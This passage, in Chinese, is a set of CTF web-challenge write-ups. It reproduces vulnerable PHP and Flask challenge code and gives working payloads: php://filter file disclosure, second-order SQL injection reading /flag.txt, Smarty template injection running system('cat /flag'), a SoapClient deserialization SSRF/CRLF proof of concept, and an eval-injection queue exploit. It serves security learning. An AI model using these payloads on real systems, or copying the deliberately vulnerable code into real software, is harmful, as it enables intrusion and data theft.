return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}
$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset($_GET['decrypt'])) { //只要傳入decrypt參數就不會生成隨機數
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng'); //注意!這裏加密的內容是從SESSION中取的,突破點就在這裏
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999)); //這裏的種子是真隨機了,無法爆破
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>
session繞過
刪除cookie,沒有cookie中的SESSIONID就找不到對應的session文件,相應的$_SESSION[‘var’]就爲NULL,傳參NULL。
所以只要我們在訪問admin.php時,刪除session訪問,代碼就會變成:
$cipher = aesEn(NULL, 'y1ng');
加密算法
function aesEn($data, $key){
$method = 'AES-128-CBC';
$iv = md5('174.0.0.201',true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn('', 'y1ng')
//NjsmGkorj5yvvA4w11R3FA==
admin.php?decrypt=NjsmGkorj5yvvA4w11R3FA%3d%3d
[BSidesCF 2020]Had a bad day
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index"))
{
include ($file . '.php');
}
else
{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
php://filter僞協議嵌套
payload
category=php://filter/read=convert.base64-encode/woofers/resource=flag
[RoarCTF 2019]Simple Upload
Think PHP upload()多文件上傳
think PHP裏的upload()函數在不傳參的情況下是批量上傳的,這裏可以理解爲防護機制只會檢測一次,運用條件競爭,多次上傳便可以繞過文件後綴的檢測,至於爲什麼上傳兩次1.txt,是爲了獲取php文件的後綴,因爲這裏的後綴命名方式運用了uniqid函數它是基於微秒的當前時間來更改文件名的,兩個同時上傳生成的文件名相差不會太遠。
文件名爆破
先上傳一個正常文件再上傳一個木馬文件,然後再上傳一個正常文件,然後根據第一和第三個正常文件的文件名之間的差異,爆破出我們上傳的木馬文件
[CISCN2019 華北賽區 Day1 Web5]CyberPunk
php僞協議讀取源碼
index.php
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 電話:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到訂單!";
}
}else {
$msg = "信息不全";
}
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "訂單修改成功";
} else {
$msg = "未找到訂單!";
}
}else {
$msg = "信息不全";
}
confirm.php
<?php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交訂單";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "訂單提交成功";
}
} else {
$msg = "信息不全";
}
?>
二次注入
change.php
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
在地址被更新的同時,舊地址被存了下來,造成二次注入
payload
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,25)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),26,50)),0x7e),1)#
[CISCN2019 華東南賽區]Web11
Smarty模板SSTI
Smarty的{if}條件判斷和PHP的if 非常相似,只是增加了一些特性。全部的PHP條件表達式和函數都可以在if內使用,如||,or,&&,and,is_array()
x-forwarded-for:{if phpinfo()}{/if}
payload
{if system("cat /flag")}{/if}
bestphp’s revenge
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
session反序列化->soap(ssrf+crlf)->call_user_func激活soap類
-
SoapClient觸發反序列化導致ssrf
-
serialize_hander處理session方式不當導致session注入
-
CRLF漏洞
通過反序列化調用SoapClient向flag.php發送請求,那麼就可以實現ssrf
接下要解決的問題是:
- 在哪觸發反序列化
- 如何控制反序列化的內容
這裏要知道call_user_func()
函數如果傳入的參數是array
類型的話,會將數組的成員當做類名和方法,例如本題中可以先用extract()
將b覆蓋成call_user_func()
,reset($_SESSION)
就是$_SESSION['name']
,我們可以傳入name=SoapClient
,那麼最後call_user_func($b, $a)
就變成call_user_func(array('SoapClient','welcome_to_the_lctf2018'))
,即call_user_func(SoapClient->welcome_to_the_lctf2018)
,由於SoapClient
類中沒有welcome_to_the_lctf2018
這個方法,就會調用魔術方法__call()
從而發送請求
payload
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=991m9bf41ue8k3bctirr5mm8m4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
//O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3D991m9bf41ue8k3bctirr5mm8m4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
先注入poc得到的session
再觸發反序列化使SoapClient發送請求
攜帶poc中的cookie訪問即可得到flag
[DDCTF 2019]homebrew event loop
邏輯漏洞:
異步處理導致可以先調用增加鑽石,再調用計算價錢的。也就是先貨後款。
eval函數存在注入,可以通過#註釋,我們可以傳入路由action:eval#;arg1#arg2#arg3這樣註釋後面語句並可以調用任意函數,分號後面的#爲傳入參數,參數通過#被分割爲參數列表.
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'
def FLAG():
return '*********************' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException:
pass
def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&').replace('\t', ' '*4).replace(
' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
分析一下:
# flag獲取函數def FLAG()
# 以下三個函數負責對參數進行解析。
# 1. 添加log,並將參數加入隊列def trigger_event(event)
# 2. 工具函數,獲取prefix與postfix之間的值
def get_mid_str(haystack, prefix, postfix=None):
# 3. 從隊列中取出函數,並分析後,進行執行。(稍後進行詳細分析)
def execute_event_loop()
# 網站入口點
def entry_point()
# 頁面渲染,三個頁面:
index/shop/resetdef view_handler()
# 下載源碼
def index_handler(args)
# 增加鑽石
def buy_handler(args)
# 計算價錢,進行減錢
def consume_point_function(args)
# 輸出flagdef show_flag_function(args)
def get_flag_handler(args)
有這麼兩個跟 flag 有關的函數:
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')
可以看到show_flag_function()無法直接展示出 flag,先看看get_flag_handler()中用到的trigger_event()函數:
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
這個函數往 session 裏寫了日誌,而這個日誌裏就有 flag,並且 flask 的 session 是可以被解密的。只要後臺成功設置了這個 session 我們就有機會獲得 flag。
但若想正確調用show_flag_function(),必須滿足session[‘num_items’] >= 5。
購買num_items需要花費points,而我們只有 3 個points,如何獲得 5 個num_items?
先看看購買的機制:
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
buy_handler()這個函數會先把num_items的數目給你加上去,然後再執行consume_point_function(),若points不夠consume_point_function()會把num_items的數目再扣回去。
其實就是先給了貨後,無法扣款,然後貨被拿跑了
那麼我們只要趕在貨被搶回來之前,先執行get_flag_handler()即可。
函數trigger_event()維護了一個命令執行的隊列,只要讓get_flag_handler()趕在consume_point_function()之前進入隊列即可。看看最關鍵的執行函數:
仔細分析execute_event_loop,會發現裏面有一個eval函數,而且是可控的!
利用eval()可以導致任意命令執行,使用註釋符可以 bypass 掉後面的拼接部分。
若讓eval()去執行trigger_event(),並且在後面跟兩個命令作爲參數,分別是buy和get_flag,那麼buy和get_flag便先後進入隊列。
根據順序會先執行buy_handler(),此時consume_point進入隊列,排在get_flag之後,我們的目標達成。
所以最終 Payload 如下:
action:trigger_event%23;action:buy;5%23action:get_flag;